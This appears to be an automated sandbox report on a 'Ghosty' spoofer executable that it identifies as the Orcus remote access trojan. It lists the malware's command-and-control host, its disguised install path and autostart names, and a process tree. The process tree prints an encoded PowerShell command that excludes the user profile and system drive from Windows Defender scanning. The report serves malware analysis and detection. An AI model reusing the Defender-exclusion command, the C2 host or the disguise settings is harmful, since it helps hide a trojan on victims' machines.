Analysis
- max time kernel
147s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
02/01/2025, 08:51
General
- Target Ghosty Permanent Spoofer/GHOSTYFN.exe
- Size 6.1MB
- Sample250102-kshdqatra1
- SHA256 4a513270a4d7e85bdc8dfe9adea3b190cfc055e562060c2be9389336333864a0
Malware Config
Extracted
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orcus
-
another-contains.gl.at.ply.gg
-
a49af69032c94d6fa7c0d2639d32f038
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administration_rights_required
false
-
anti_debugger
false
-
anti_tcp_analyzer
false
-
antivm
false
-
autostart_method
1
-
change_creation_date
false
-
force_installer_administrator_privileges
false
-
hide_file
false
-
install
false
-
installation_folder
%appdata%\Microsoft\Speech\AudioDriver.exe
-
installservice
false
-
keylogger_enabled
false
-
newcreationdate
12/24/2024 02:03:43
-
plugins
AgUFyOzBvwKV1wLetwKoxrcNilV/bBUKRwBhAG0AZQByACAAVgBpAGUAdwAHAzEALgAyAEEgYgA2ADkAZgA0ADUAZQBiADYANgAxADYANAA2ADAAZgA5AGUAMQAwADIAMgBkADcANwA3ADMAMABmADAANwAzAAIAAAACAg==
-
reconnect_delay
10000
-
registry_autostart_keyname
Audio HD Driver
-
registry_hidden_autostart
false
-
set_admin_flag
false
-
tasksch_name
Audio HD Driver
-
tasksch_request_highest_privileges
false
-
try_other_autostart_onfail
false
Signatures
- Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
- Orcus family
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 1 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 42 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Ghosty Permanent Spoofer\GHOSTYFN.exe"C:\Users\Admin\AppData\Local\Temp\Ghosty Permanent Spoofer\GHOSTYFN.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\spoof.exe"C:\Users\Admin\AppData\Local\Temp\spoof.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
GHOSTYFN.exe
__PSScriptPolicyTest_c5gdkhhi.5yq.ps1
spoof.exe
sqlite3.dll
memory/1144-85-0x0000000007C70000-0x0000000007C7E000-memory.dmp
memory/1144-83-0x0000000007CC0000-0x0000000007D56000-memory.dmp
memory/1144-23-0x0000000005750000-0x0000000005772000-memory.dmp
memory/1144-86-0x0000000007C80000-0x0000000007C94000-memory.dmp
memory/1144-25-0x0000000006040000-0x00000000060A6000-memory.dmp
memory/1144-21-0x00000000059A0000-0x0000000005FC8000-memory.dmp
memory/1144-20-0x0000000003140000-0x0000000003176000-memory.dmp
memory/1144-38-0x0000000006120000-0x0000000006474000-memory.dmp
memory/1144-67-0x0000000006CE0000-0x0000000006D12000-memory.dmp
memory/1144-26-0x00000000060B0000-0x0000000006116000-memory.dmp
memory/1144-84-0x0000000007C30000-0x0000000007C41000-memory.dmp
memory/1144-88-0x0000000007CB0000-0x0000000007CB8000-memory.dmp
memory/1144-44-0x0000000006730000-0x000000000677C000-memory.dmp
memory/1144-43-0x0000000006710000-0x000000000672E000-memory.dmp
memory/1144-82-0x0000000007AB0000-0x0000000007ABA000-memory.dmp
memory/1144-87-0x0000000007D60000-0x0000000007D7A000-memory.dmp
memory/1144-81-0x0000000007A30000-0x0000000007A4A000-memory.dmp
memory/1144-80-0x0000000008080000-0x00000000086FA000-memory.dmp
memory/1144-68-0x0000000070820000-0x000000007086C000-memory.dmp
memory/1144-79-0x0000000007900000-0x00000000079A3000-memory.dmp
memory/1144-78-0x00000000078D0000-0x00000000078EE000-memory.dmp
memory/1700-37-0x0000000005A30000-0x0000000005A7C000-memory.dmp
memory/1700-42-0x0000000005C30000-0x0000000005C7E000-memory.dmp
memory/1700-39-0x0000000005B70000-0x0000000005C28000-memory.dmp
memory/1700-27-0x0000000005AD0000-0x0000000005B62000-memory.dmp
memory/1700-24-0x0000000005CE0000-0x0000000006284000-memory.dmp
memory/1700-22-0x0000000002F10000-0x0000000002F1A000-memory.dmp
memory/1700-19-0x0000000000C30000-0x0000000000D62000-memory.dmp
memory/4780-66-0x0000000006C60000-0x0000000006C6A000-memory.dmp
memory/4780-57-0x0000000005D20000-0x0000000005D30000-memory.dmp
memory/4780-56-0x0000000006510000-0x00000000066D2000-memory.dmp
memory/4780-91-0x0000000060900000-0x0000000060992000-memory.dmp
memory/4780-99-0x0000000060900000-0x0000000060992000-memory.dmp